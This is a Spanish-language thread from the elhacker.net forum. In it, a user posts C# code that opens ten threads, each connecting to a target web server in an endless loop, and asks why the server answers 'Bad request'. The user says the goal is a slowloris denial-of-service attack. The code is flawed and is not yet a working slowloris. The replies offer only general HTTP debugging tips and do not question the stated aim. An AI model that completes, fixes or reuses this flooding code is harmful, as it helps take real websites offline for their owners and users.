elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Solicitud Incorrecta c#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Solicitud Incorrecta c#  (Leído 396 veces)
Jeezy

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Solicitud Incorrecta c#
« en: 8 Octubre 2018, 21:44 »

Hola, hice una conexión con tcp client hacia un servidor web y enviarle bytes mediante networkstream.write pero el servidor me devuelve el mensaje

HTTP / 1.0 Bad request, supongo que me rechazo la conexión como podría solucionar eso para poder enviar sin problema los packets y no me rechaza la conexión(slowloris)


En línea

MeTaD

Desconectado Desconectado

Mensajes: 84


Ver Perfil
Re: Solicitud Incorrecta c#
« Respuesta #1 en: 8 Octubre 2018, 23:06 »

Quizás te estas olvidando de los headers...


En línea

Jeezy

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Re: Solicitud Incorrecta c#
« Respuesta #2 en: 8 Octubre 2018, 23:45 »

Quizás te estas olvidando de los headers...

Este es el codigo que estoy utilizando y creo que se encuentra todo bien, pero me rechaza la solicitud la pagina web. Como podria solucionar este error (Bad request).
Código:
        private static void InitClient()
        {
                for (int i = 0; i < 10; i++)
               {
                    new Thread(() =>
                     {
                         try
                         {
                             while (true)
                             {
                                 try
                                 {
                                     using (TcpClient client = new TcpClient())
                                     {
                                         client.Connect(HostOrIP, 80);
                                         client.GetStream();
                                         NetworkStream ns = client.GetStream();
                                         string All = "GET" + "/index.php?q=test" + " HTTP/1.1\r\n";
                                         All += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r\n";
                                         All += "Accept:*.*\r\n";
                                         All += "Host: web.info\r\n\r\n";
                                         byte[] headers = Encoding.Default.GetBytes(All);
                                         ns.Write(headers, 0, headers.Length);
                                         Console.WriteLine("+");
                                     }
                                 }
                                 catch(Exception ex)
                                 {
                                     Console.WriteLine(ex.Message);
                                 }
                                 Thread.Sleep(1000);
                             }
                         }
                         catch (Exception ex)
                         {
                             Console.ForegroundColor = ConsoleColor.Red;
                             Console.WriteLine(ex.Message);
                         }
                     }).Start();
                }
        }
En línea

ThunderCls


Desconectado Desconectado

Mensajes: 422


Coder | Reverser | Gamer


Ver Perfil WWW
Re: Solicitud Incorrecta c#
« Respuesta #3 en: 11 Octubre 2018, 04:29 »

Pues el error lo dice todo :¬¬ el servidor no esta recibiendo la peticion de la forma que la espera
Te recomiendo usar un depurador http (HTTP Debugger Pro o simplemente Google Chrome Dev Tools) y comprobar que estas haciendo la peticion de la manera esperada haciendo el proceso directamente desde el navegador, luego intenta duplicar lo mismo desde tu aplicacion
En línea

-[ "…I can only show you the door. You're the one that has to walk through it." – Morpheus (The Matrix) ]-
http://reversec0de.wordpress.com
https://github.com/ThunderCls/
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error: Petición OPP incorrecta
Hacking Mobile
Lucky-22 1 3,247 Último mensaje 17 Noviembre 2005, 00:33
por Unravel
contraseña SIM incorrecta
Dispositivos Móviles (PDA's, Smartphones, Tablets)
ajedrez 2 6,926 Último mensaje 26 Diciembre 2010, 00:22
por ajedrez
Incorrecta implementación de Thread?
Programación C/C++
Debci 0 476 Último mensaje 18 Noviembre 2012, 14:05
por Debci
OneDrive.exe - imagen incorrecta
Windows
JoseluCross 0 1,909 Último mensaje 31 Octubre 2015, 09:38
por JoseluCross
Una contraseña incorrecta
Dudas Generales
raul1992 1 826 Último mensaje 6 Marzo 2018, 13:12
por Machacador
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines